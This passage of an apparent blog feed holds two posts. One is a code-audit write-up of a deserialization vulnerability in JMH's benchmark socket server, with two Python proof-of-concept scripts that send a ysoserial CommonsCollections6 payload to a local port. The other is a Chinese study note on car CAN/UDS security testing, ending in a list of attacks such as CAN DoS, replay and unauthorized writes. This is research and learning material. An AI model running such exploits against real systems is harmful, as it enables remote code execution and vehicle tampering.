code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">Acceptor</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> IOException </span>&#123;<br>    listenAddress = getListenAddress();<br>    server = <span class="hljs-keyword">new</span> ServerSocket(getListenPort(), <span class="hljs-number">50</span>, listenAddress);<br>&#125;<br><br><span class="hljs-meta">@Override</span><br><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">run</span><span class="hljs-params">()</span> </span>&#123;<br>    <span class="hljs-keyword">try</span> &#123;<br>        <span class="hljs-keyword">while</span> (!Thread.interrupted()) &#123;<br>            Socket clientSocket = server.accept();<br>            Handler r = <span class="hljs-keyword">new</span> Handler(clientSocket); <span class="hljs-comment">//here</span><br>            <span class="hljs-keyword">if</span> (!handler.compareAndSet(<span class="hljs-keyword">null</span>, r)) &#123;<br>                <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> IllegalStateException(<span class="hljs-string">&quot;The handler is already registered&quot;</span>);<br>            &#125;<br></code></pre></div></td></tr></table></figure><p><code>Acceptor</code> is also a constructor, so check where it was called:<br>L206</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">&#125;<br><br>acceptor = <span class="hljs-keyword">new</span> Acceptor(); <span class="hljs-comment">//here</span><br>acceptor.start();<br><br>handler = <span class="hljs-keyword">new</span> AtomicReference&lt;&gt;();<br></code></pre></div></td></tr></table></figure><p>It belongs to the “BinaryLinkServer” constructor,<code>runSeparate</code> called the ‘BinaryLinkServer’ method:<br>src/main/java/org/openjdk/jmh/runner/Runner.java<br>L584</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">private</span> Multimap&lt;BenchmarkParams, BenchmarkResult&gt; <span class="hljs-title">runSeparate</span><span class="hljs-params">(ActionPlan actionPlan)</span> </span>&#123;<br>    Multimap&lt;BenchmarkParams, BenchmarkResult&gt; results = <span class="hljs-keyword">new</span> HashMultimap&lt;&gt;();<br><br>    <span class="hljs-keyword">if</span> (actionPlan.getMeasurementActions().size() != <span class="hljs-number">1</span>) &#123;<br>        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> IllegalStateException(<span class="hljs-string">&quot;Expect only single benchmark in the action plan, but was &quot;</span> + actionPlan.getMeasurementActions().size());<br>    &#125;<br><br>    BinaryLinkServer server = <span class="hljs-keyword">null</span>;<br>    <span class="hljs-keyword">try</span> &#123;<br>        server = <span class="hljs-keyword">new</span> BinaryLinkServer(options, out); <span class="hljs-comment">//here</span><br><br>        server.setPlan(actionPlan);<br><br>        BenchmarkParams params = actionPlan.getMeasurementActions().get(<span class="hljs-number">0</span>).getParams();<br></code></pre></div></td></tr></table></figure><p>`runSeparate’ appears in the ‘runBenchmarks’ method:<br>L539</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">private</span> Collection&lt;RunResult&gt; <span class="hljs-title">runBenchmarks</span><span class="hljs-params">(SortedSet&lt;BenchmarkListEntry&gt; benchmarks)</span> <span class="hljs-keyword">throws</span> RunnerException </span>&#123;<br>    out.startRun();<br><br>    Multimap&lt;BenchmarkParams, BenchmarkResult&gt; results = <span class="hljs-keyword">new</span> TreeMultimap&lt;&gt;();<br>    List&lt;ActionPlan&gt; plan = getActionPlans(benchmarks); <span class="hljs-comment">//Pay attention to this method, it will set &#x27;Type&#x27; to &#x27;FORKED&#x27;`</span><br><br>    etaBeforeBenchmarks(plan);<br><br>    <span class="hljs-keyword">try</span> &#123;<br>        <span class="hljs-keyword">for</span> (ActionPlan r : plan) &#123;<br>            Multimap&lt;BenchmarkParams, BenchmarkResult&gt; res;<br>            <span class="hljs-keyword">switch</span> (r.getType()) &#123;<br>                <span class="hljs-keyword">case</span> EMBEDDED:<br>                    res = runBenchmarksEmbedded(r);<br>                    <span class="hljs-keyword">break</span>;<br>                <span class="hljs-keyword">case</span> FORKED:<br>                    res = runSeparate(r); <span class="hljs-comment">//here</span><br>                    <span class="hljs-keyword">break</span>;<br></code></pre></div></td></tr></table></figure><p>There is a condition here that the ‘runSeparate’ method will only be call when the ‘Type’ is ‘FORKED’, but this is not a concern because in the ‘getActionPlans’ method above, ‘FORKED’ has been initialized as <code>Type</code><br>L54</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">private</span> List&lt;ActionPlan&gt; <span class="hljs-title">getActionPlans</span><span class="hljs-params">(Set&lt;BenchmarkListEntry&gt; benchmarks)</span> </span>&#123;<br>    ActionPlan base = <span class="hljs-keyword">new</span> ActionPlan(ActionType.FORKED);<br>Returning to the main topic, <span class="hljs-string">&#x27;runBenchmarks&#x27;</span> will be called by the <span class="hljs-string">&#x27;internalRun&#x27;</span> method<br>L309<br>   benchmarks.clear();<br>    benchmarks.addAll(newBenchmarks);<br>&#125;<br><br>Collection&lt;RunResult&gt; results = runBenchmarks(benchmarks); <span class="hljs-comment">//here</span><br><br><span class="hljs-comment">// If user requested the result file, write it out.</span><br><span class="hljs-keyword">if</span> (resultFile != <span class="hljs-keyword">null</span>) &#123;<br>    ResultFormatFactory.getInstance(<br></code></pre></div></td></tr></table></figure><p>And ‘internalRun’ is called by the ‘run’ method, ‘run’ is a method of the ‘Runner’ class,<br>L182</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">public</span> Collection&lt;RunResult&gt; <span class="hljs-title">run</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> RunnerException </span>&#123;<br><span class="hljs-keyword">if</span> (JMH_LOCK_IGNORE) &#123;<br>    out.println(<span class="hljs-string">&quot;# WARNING: JMH lock is ignored by user request, make sure no other JMH instances are running&quot;</span>);<br>    <span class="hljs-keyword">return</span> internalRun();<span class="hljs-comment">//here</span><br>&#125;<br><br><span class="hljs-keyword">final</span> String tailMsg = <span class="hljs-string">&quot; the JMH lock (&quot;</span> + JMH_LOCK_FILE + <span class="hljs-string">&quot;), exiting. Use -Djmh.ignoreLock=true to forcefully continue.&quot;</span>;<br><br>File lockFile;<br><span class="hljs-keyword">try</span> &#123;<br>    lockFile = <span class="hljs-keyword">new</span> File(JMH_LOCK_FILE);<br>    lockFile.createNewFile();<br><br>    <span class="hljs-comment">// Make sure the lock file is world-writeable, otherwise the lock file created by current</span><br>    <span class="hljs-comment">// user would not work for any other user, always failing the run.</span><br>    lockFile.setWritable(<span class="hljs-keyword">true</span>, <span class="hljs-keyword">false</span>);<br>&#125; <span class="hljs-keyword">catch</span> (IOException e) &#123;<br>    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> RunnerException(<span class="hljs-string">&quot;ERROR: Unable to create&quot;</span> + tailMsg, e);<br>&#125;<br><br><span class="hljs-keyword">try</span> (RandomAccessFile raf = <span class="hljs-keyword">new</span> RandomAccessFile(lockFile, <span class="hljs-string">&quot;rw&quot;</span>);<br>     FileLock lock = raf.getChannel().tryLock()) &#123;<br>    <span class="hljs-keyword">if</span> (lock == <span class="hljs-keyword">null</span>) &#123;<br>        <span class="hljs-comment">// Lock acquisition failed, pretend this was the overlap.</span><br>        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> OverlappingFileLockException();<br>    &#125;<br>    <span class="hljs-keyword">return</span> internalRun();<span class="hljs-comment">//here</span><br></code></pre></div></td></tr></table></figure><p>which is the entry point to ‘jmh’, we can see from the Sample that:<br><code>src/main/java/org/openjdk/jmh/samples/*</code><br>for example JMHSample_01_HelloWorld.java</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"> <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> RunnerException </span>&#123;<br>        Options opt = <span class="hljs-keyword">new</span> OptionsBuilder()<br>                .include(JMHSample_01_HelloWorld.class.getSimpleName())<br>                .forks(<span class="hljs-number">1</span>)<br>                .build();<br><br>        <span class="hljs-keyword">new</span> Runner(opt).run(); <span class="hljs-comment">//here</span><br>    &#125;<br><br>&#125;<br></code></pre></div></td></tr></table></figure><p>So now the entrance has been found, but there is one question, the trigger point for this vulnerability is a socket’s function, so we need to know his port before we can communicate:<br>in <code>BinaryLinkServer</code> class<br>L194</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">int</span> <span class="hljs-title">getListenPort</span><span class="hljs-params">()</span> </span>&#123;<br>    <span class="hljs-keyword">return</span> Integer.getInteger(<span class="hljs-string">&quot;jmh.link.port&quot;</span>, <span class="hljs-number">0</span>);<br>&#125;<br></code></pre></div></td></tr></table></figure><p>It listens to all ports, which means the ports are random, but <code>jmh.link.port</code> can be specified by command or written in code: <code>-Djmh.link.port=9090</code><br>Now, assuming we already know the port, can write a client that sends malicious data to it, after continuous improvement, a usable POC was ultimately obtained:<br>use python3 and ysoserial</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">import</span> socket<br><span class="hljs-keyword">import</span> time<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">connect_to_server</span>():</span><br>    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br><br>    host = <span class="hljs-string">&quot;127.0.0.1&quot;</span><br>    port = <span class="hljs-number">9090</span><br><br>    max_attempts = <span class="hljs-number">20</span><br>    attempts = <span class="hljs-number">0</span><br><br>    <span class="hljs-keyword">while</span> attempts &lt; max_attempts:<br>        <span class="hljs-keyword">try</span>:<br>            client_socket.connect((host, port))<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;connect to <span class="hljs-subst">&#123;host&#125;</span>:<span class="hljs-subst">&#123;port&#125;</span>&quot;</span>)<br>            <span class="hljs-keyword">return</span> client_socket<br><br>        <span class="hljs-keyword">except</span> socket.error <span class="hljs-keyword">as</span> e:<br>            attempts += <span class="hljs-number">1</span><br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;error,reconnect (<span class="hljs-subst">&#123;attempts&#125;</span>/<span class="hljs-subst">&#123;max_attempts&#125;</span>): <span class="hljs-subst">&#123;e&#125;</span>&quot;</span>)<br>            time.sleep(<span class="hljs-number">1</span>)<br><br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;error <span class="hljs-subst">&#123;host&#125;</span>:<span class="hljs-subst">&#123;port&#125;</span>,reached maximum number of attempts&quot;</span>)<br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span><br><br>client_socket = connect_to_server()<br><br><span class="hljs-keyword">if</span> client_socket:<br>    <span class="hljs-keyword">try</span>:<br>        <span class="hljs-comment">#Generate a payload for &#x27;commons-collections&#x27; using &#x27;ysoserial&#x27;,command:java -jar ysoserial.jar CommonsCollections6 &quot;calc&quot; &gt; cc6calc.ser</span><br>        <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;cc6calc.ser&quot;</span>, <span class="hljs-string">&quot;rb&quot;</span>) <span class="hljs-keyword">as</span> file:<br>            <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>                data_to_send = file.read(<span class="hljs-number">1024</span>)<br>                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> data_to_send:<br>                    <span class="hljs-keyword">break</span><br>                client_socket.send(data_to_send)<br>        response_data = client_socket.recv(<span class="hljs-number">1024</span>)<br>        <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Response received from the server: <span class="hljs-subst">&#123;response_data.decode(<span class="hljs-string">&#x27;utf-8&#x27;</span>, <span class="hljs-string">&#x27;replace&#x27;</span>)&#125;</span>&quot;</span>)<br><br>    <span class="hljs-keyword">finally</span>:<br>        client_socket.close()<br></code></pre></div></td></tr></table></figure><p>Pasting dependencies in pom to simulate a real web environment：</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">&lt;dependency&gt;<br>    &lt;groupId&gt;commons-collections&lt;/groupId&gt;<br>    &lt;artifactId&gt;commons-collections&lt;/artifactId&gt;<br>    &lt;version&gt;3.1&lt;/version&gt;<br>&lt;/dependency&gt;<br></code></pre></div></td></tr></table></figure><p>Finally, be sure to run POC first before running the jmh project:<br><img src="/images/111/1.png"><br>Run the src/main/java/org/openjdk/jmh/samples/JMHSample_01_HelloWorld.java<br><img src="/images/111/2.png"><br>In summary, this is a deserialization issue caused by socket communication, to exploit this issue, it is necessary to know the port number and the POC must first run before the project, this is due to code reasons:</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">if</span> (!handler.compareAndSet(<span class="hljs-keyword">null</span>, r)) &#123;<br>    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> IllegalStateException(<span class="hljs-string">&quot;The handler is already registered&quot;</span>);<br>&#125;<br></code></pre></div></td></tr></table></figure><h2 id="After-a-while"><a href="#After-a-while" class="headerlink" title="After a while"></a>After a while</h2><p>I discovered a simpler attack scenario, when running “jmh” with the parameter “-Djmh.link.port=9090 -Djmh.ignoreLock=true” (and to use multiple “benchmarks”, this parameter must be added), it not only specifies the port, but also allows other “benchmarks” to be executed when the “jmh.lock” file exists, that is to say, by specifying these two parameters to the “jmh” project, I don’t have to restart the project to exploit the vulnerability, don’t worry about the POC execution order. As long as “benchmarks” are used, vulnerabilities will be triggered</p><p>Next, I will test “JMHSample_1_HelloWorld”, “JMHSample_2_BenchmarkModes”, “JMHSample_ 03_States”, “JMHSample_ 04_DefaultState”, and “JMHSample_ 05_StatesFixtures”<br><img src="/images/111/3.png"></p><p>Run the project:<br><img src="/images/111/4.png"><br>Run the POC:<br><img src="/images/111/5.png"><br>After running POC, project the first benchmarks will report error:<br><img src="/images/111/6.png"><br>But it’s not important, restart POC, run the other project, the subsequent benchmarks will trigger vulnerabilities:<br><img src="/images/111/7.png"><br><img src="/images/111/8.png"><br><img src="/images/111/9.png"><br><img src="/images/111/10.png"><br>For this, I have made some improvements to the POC, enable the script to continuously connect to the target port and send malicious data, no need to manually restart anything anymore, just wait for benchmarks to run:</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">import</span> socket<br><span class="hljs-keyword">import</span> time<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">connect_to_server</span>():</span><br>    max_attempts = <span class="hljs-number">100000</span> <span class="hljs-comment">#Less than 10000 connections will not end the script, the purpose is to maintain a continuous connection</span><br>    attempts = <span class="hljs-number">0</span><br><br>    <span class="hljs-keyword">while</span> attempts &lt; max_attempts:<br>        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        host = <span class="hljs-string">&quot;127.0.0.1&quot;</span><br>        port = <span class="hljs-number">9090</span><br><br>        <span class="hljs-keyword">try</span>:<br>            client_socket.connect((host, port))<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;connect to <span class="hljs-subst">&#123;host&#125;</span>:<span class="hljs-subst">&#123;port&#125;</span>&quot;</span>)<br>            <span class="hljs-keyword">return</span> client_socket<br><br>        <span class="hljs-keyword">except</span> socket.error <span class="hljs-keyword">as</span> e:<br>            attempts += <span class="hljs-number">1</span><br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;error,reconnect (<span class="hljs-subst">&#123;attempts&#125;</span>/<span class="hljs-subst">&#123;max_attempts&#125;</span>): <span class="hljs-subst">&#123;e&#125;</span>&quot;</span>)<br>            time.sleep(<span class="hljs-number">1</span>)<br><br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;error <span class="hljs-subst">&#123;host&#125;</span>:<span class="hljs-subst">&#123;port&#125;</span>,reached maximum number of attempts&quot;</span>)<br>    <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span><br><br><span class="hljs-comment">#Even if the server closes the connection, it will not end the POC</span><br><span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>    client_socket = connect_to_server()<br><br>    <span class="hljs-keyword">if</span> client_socket:<br>        <span class="hljs-keyword">try</span>:<br><span class="hljs-comment">#Generate a payload for &#x27;commons-collections&#x27; using &#x27;ysoserial&#x27;,command:java -jar ysoserial.jar CommonsCollections6 &quot;calc&quot; &gt; cc6calc.ser</span><br>            <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;cc6calc.ser&quot;</span>, <span class="hljs-string">&quot;rb&quot;</span>) <span class="hljs-keyword">as</span> file:<br>                <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>                    data_to_send = file.read(<span class="hljs-number">1024</span>)<br>                    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> data_to_send:<br>                        <span class="hljs-keyword">break</span><br>                    client_socket.send(data_to_send)<br>            response_data = client_socket.recv(<span class="hljs-number">1024</span>)<br>            <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;response received from the server: <span class="hljs-subst">&#123;response_data.decode(<span class="hljs-string">&#x27;utf-8&#x27;</span>, <span class="hljs-string">&#x27;replace&#x27;</span>)&#125;</span>&quot;</span>)<br><br>        <span class="hljs-keyword">finally</span>:<br>            client_socket.close()<br></code></pre></div></td></tr></table></figure><p><strong>As I said before, this loophole is difficult to exploit and can only be used for learning.</strong></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>车联网学习笔记1</title>
    <link href="/2023/12/18/104/"/>
    <url>/2023/12/18/104/</url>
    
    <content type="html"><![CDATA[<p>记录一下转车联网安全后的学习，因为是刚接触，有些东西理解不够透彻或有误，后续会更新</p><h1 id="报文审计"><a href="#报文审计" class="headerlink" title="报文审计"></a>报文审计</h1><h2 id="CRC"><a href="#CRC" class="headerlink" title="CRC"></a>CRC</h2><p>待记</p><h2 id="SecOC机制"><a href="#SecOC机制" class="headerlink" title="SecOC机制"></a>SecOC机制</h2><p>安全通讯模块。在原始CAN帧上面加入一些标识，在解析的时候先识别标识，再解析数据，否则认为数据是无效的，通俗一点就是发送CAN原始数据的时候进行加密，解析CAN原始数据的时候进行解密。</p><p><strong>SecOC机制报文的CAN数据必须是CANFD格式的，CAN标准格式的实施不了SecOC机制，因为SecOC的加密信息需要占用8字节（传统CAN标准最多只有8字节报文，而CANFD最多能64）</strong></p><p>DLC = 16</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">普通报文：<br> ID         DLC                         DATA                                             <br>0x123       16      01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16<br>//全是有效数据<br><br>SecOC报文：<br> ID         DLC                         DATA                                             <br>0x123       16      01 02 03 04 05 06 07 08 00 01 AD 3B 34 CF BC 67<br>//前8个是有效数据，9-10是新鲜度值，11-16是MAC值<br></code></pre></div></td></tr></table></figure><p>DLC = 32</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">普通报文：<br> ID         DLC                         DATA                                             <br>0x123       32      01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32<br>//全是有效数据<br><br>SecOC报文：<br> ID         DLC                         DATA                                             <br>0x123       32      01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 00 01 AD 3B 34 CF BC 67<br>//前24个是有效数据，24-25是新鲜度值，26-32是MAC值<br></code></pre></div></td></tr></table></figure><p>可以看得出，一条用了SecOC机制的报文是由原始CAN数据、新鲜度值信息和 MAC值信息组成</p><h2 id="报文识别"><a href="#报文识别" class="headerlink" title="报文识别"></a>报文识别</h2><h3 id="扩展帧和标准帧"><a href="#扩展帧和标准帧" class="headerlink" title="扩展帧和标准帧"></a>扩展帧和标准帧</h3><p><strong>18daxxxx 是扩展帧标识符</strong><br>前两个字节是UDS标识符，后两个字节是子功能码<br>18DB<br>18DA<br><strong>7DF 是标准帧标识符</strong><br>7DF<br>7FF</p><h3 id="报文解释（以标准帧为例）"><a href="#报文解释（以标准帧为例）" class="headerlink" title="报文解释（以标准帧为例）"></a>报文解释（以标准帧为例）</h3><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">7DF<span class="hljs-comment">#02 11 01 00 00 00 00</span><br></code></pre></div></td></tr></table></figure><p>7DF：CAN消息标识符<br>02：服务ID（从后面的功能ID开始数，有几个字节就是零几，比如11 01两个字节就是02，27 02 11 22就是4个字节，用04）<br>11：功能ID<br>01：数据ID（功能参数）<br>xx…: 数据报文</p><h1 id="Can通信"><a href="#Can通信" class="headerlink" title="Can通信"></a>Can通信</h1><p>发送报文<code>11 01</code>响应的是<code>51 01</code>，发送<code>10 01</code>响应的是<code>50 01</code><br>观察报文的收发发现，服务端响应的报文里，功能ID会比发送的多40，比如发送27 01 ，响应则是67 01 ，发送22 f1，响应则是62 f1，了解这个规则有利于查找对应的响应报文</p><p>使用UDS诊断时先发送10 03切换模式（00为保留 01位默认模式 02为编程模式 03为扩展模式）</p><p>扩展帧18DBFFF1 寻址</p><p>先发送18DBFFF1确认通信地址，比如发送18DBFFF1，回复的是18DAF1EE，其中18DB回复对应的标识符18DA，回复的EE是通信ID，所以后续要跟EE进行通信，最终通信地址就是18DAEEF1</p><p>xx 7F xx（功能id）是否定响应，比如发送<code>02 11 01 00 00 00 00 00</code>，肯定响应是<code>02 51 01 00 00 00 00 00</code>，如果响应被否定，则是<code>03 7F 11 12 00 00 00 00</code>，其中11是请求的功能ID，12是响应码</p><h3 id="响应码说明"><a href="#响应码说明" class="headerlink" title="响应码说明"></a>响应码说明</h3><p>0x12（子功能不支持）<br>0x13（报文长度错误或格式非法）<br>0x22（条件不满足，处于变编程状态）</p><p>结合响应码得知03 7F 11 12 00 00 00 00意思是返回了3个字节，响应内容为不支持11服务</p><h1 id="主板"><a href="#主板" class="headerlink" title="主板"></a>主板</h1><h2 id="串口通信"><a href="#串口通信" class="headerlink" title="串口通信"></a>串口通信</h2><p>调试口一般是<code>RX</code> <code>TX</code> <code>GND</code>，其中GND是地线，RX是接收，TX是发送，引脚线两端要对好，一般板子都会标明，如果没有标明，则用万用表测试。</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">通断档：黑表笔接到板子的电路或者金属上，红表笔依次触碰测试，如果响了就表示是地线<br>电压档：黑表笔接到板子的电路或者金属上，红表笔依次触碰测试，如果电压为0表示是地线<br></code></pre></div></td></tr></table></figure><p>板子一般是12v，万用表调到20就够用了</p><p>测试JTAG或UART:查询芯片丝印，用万用表按照芯片datasheet测试引脚</p><h1 id="目前复测过的漏洞（真实车零部件）："><a href="#目前复测过的漏洞（真实车零部件）：" class="headerlink" title="目前复测过的漏洞（真实车零部件）："></a>目前复测过的漏洞（真实车零部件）：</h1><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">CAN_FD软硬件强制复位：通过发送复位报文让设备重启<br><br>CAN_FD DOS：通过一直发送高优先级报文导致拒绝服务<br><br>CAN抗重放测试：没有实车时，审计报文，查看会不会存在重放漏洞，有实车时，重放报文查看车的重放效果<br><br>2E服务未授权写入测试：通过2E篡改DID数据，22请求查看篡改后的数据<br><br>27服务测试： 